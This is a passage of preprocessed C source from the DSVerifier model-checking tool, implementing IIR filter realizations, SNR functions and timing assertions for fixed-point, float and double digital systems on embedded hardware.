sv += s[i] * s[i];
nv += n[i] * n[i];
}
if (nv != 0.0f) {
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 394, __extension__ __PRETTY_FUNCTION__); }))
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPoint(float s[], float n[], int blksz) {
int i;
double ratio = 0, power = 0;
for (i = 0; i < blksz; i++) {
if(n[i] == 0) continue;
ratio = s[i] / n[i];
if(ratio > 150.0f || ratio < -150.0f) continue;
power = ratio * ratio;
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"power >= 1.0f"
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 412, __extension__ __PRETTY_FUNCTION__); }))
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
}
return 9999.9f;
}
unsigned long next = 1;
int rand(void)
{
next = next*1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
void srand(unsigned int seed)
{
next = seed;
}
float iirIIOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 450, __extension__ __PRETTY_FUNCTION__); }))
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return sum;
}
float iirIItOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 477, __extension__ __PRETTY_FUNCTION__); }))
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
double iirIItOutTime_double(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 504, __extension__ __PRETTY_FUNCTION__); }))
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
void iirOutBoth(float yf[], float xf[], float af[], float bf[], float *sumf_ref,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t *sum_ref, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
fxp_t sum = 0;
float sumf = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
af_ptr = &af[1];
yf_ptr = &yf[Na - 1];
bf_ptr = &bf[0];
xf_ptr = &xf[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
sumf += *bf_ptr++ * *xf_ptr--;
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
sumf -= *af_ptr++ * *yf_ptr--;
}
*sum_ref = sum;
*sumf_ref = sumf;
}
fxp_t iirOutFixedL(fxp_t y[], fxp_t x[], fxp_t xin, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
return sum;
}
float iirOutFloatL(float y[], float x[], float xin, float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum += *b_ptr-- * *x_ptr++;
}
x[Nb - 1] = xin;
sum += *b_ptr-- * *x_ptr++;
for (j = 1; j < Na - 1; j++) {
sum -= *a_ptr-- * *y_ptr++;
y[j] = y[j+1];
}
if(Na>1) sum -= *a_ptr-- * *y_ptr++;
y[Na - 1] = sum;
return sum;
}
float iirOutBothL(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[i] = xf[i+1];
sumf += *bf_ptr-- * *xf_ptr++;
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[Nb - 1] = xfin;
sumf += *bf_ptr-- * *xf_ptr++;
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
sumf -= *af_ptr-- * *yf_ptr++;
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
if(Na>1) sumf -= *af_ptr-- * *yf_ptr++;
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
float iirOutBothL2(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i=0, j=1;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[i] = xf[i+1];
sumf += bf[Nb - 1 - i] * xf[i];
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[Nb - 1] = xfin;
sumf += bf[Nb - 1 - i] * xf[i];
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[j] = y[j+1];
sumf -= af[Na - j] * yf[j];
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[Na - 1] = sum;
if(Na>1) sumf -= af[Na - j] * yf[j];
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
# 25 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
extern digital_system ds;
extern hardware hw;
extern int generic_timer;
fxp_t fxp_direct_form_1(fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
}
fxp_verify_overflow_node(sum, "An Overflow Occurred in the node a0");
sum = fxp_div(sum,a[0]);
return fxp_quantize(sum);
}
fxp_t fxp_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr, *w_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] = fxp_sub(w[0], fxp_mult(*a_ptr++, *w_ptr++));
}
w[0] = fxp_add(w[0], x);
w[0] = fxp_div(w[0], a[0]);
fxp_verify_overflow_node(w[0], "An Overflow Occurred in the node b0");
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *w_ptr++));
}
return fxp_quantize(sum);
}
fxp_t fxp_transposed_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr;
fxp_t yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = fxp_add(fxp_mult(*b_ptr++, x), w[0]);
yout = fxp_div(yout, a[0]);
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] = fxp_sub(w[j], fxp_mult(*a_ptr++, yout));
}
if (j < Nb - 1) {
w[j] = fxp_add(w[j], fxp_mult(*b_ptr++, x));
}
}
fxp_verify_overflow_node(w[j], "An Overflow Occurred in the node a0");
return fxp_quantize(yout);
}
double double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb) {
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
double double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
double double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
float float_direct_form_1(float y[], float x[], float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
float float_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
float float_transposed_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
double double_direct_form_1_MSP430(double y[], double x[], double a[], double b[], int Na, int Nb){
int timer1 = 0;
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
int i, j;
timer1 += 91;
for (i = 0; i < Nb; i++){
sum += *b_ptr++ * *x_ptr--;
timer1 += 47;
}
for (j = 1; j < Na; j++){
sum -= *a_ptr++ * *y_ptr--;
timer1 += 57;
}
timer1 += 3;
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 235, __extension__ __PRETTY_FUNCTION__); }))
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 262, __extension__ __PRETTY_FUNCTION__); }))
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_transposed_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 291, __extension__ __PRETTY_FUNCTION__); }))
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return yout;
}
double generic_timing_double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb){
generic_timer += ((6 * hw.assembly.push) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (12 * hw.assembly.std));
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
generic_timer += ((12 * hw.assembly.std) + (12 * hw.assembly.ldd) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (1 * hw.assembly.adiw));
int i, j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < Nb; i++){
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.sbc) + (10 * hw.assembly.std) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum += *b_ptr++ * *x_ptr--;
}
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++){
generic_timer += ((22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (8 * hw.assembly.std) + (1 * hw.assembly.sbci) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.sbc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum -= *a_ptr++ * *y_ptr--;
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (6 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
generic_timer += ((10 * hw.assembly.std) + (6 * hw.assembly.ldd) + (2 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
generic_timer += ((23 * hw.assembly.ldd) + (32 * hw.assembly.mov) + (9 * hw.assembly.std) + (2 * hw.assembly.subi) + (3 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (2 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge));
}
w[0] += x;
w_ptr = &w[0];
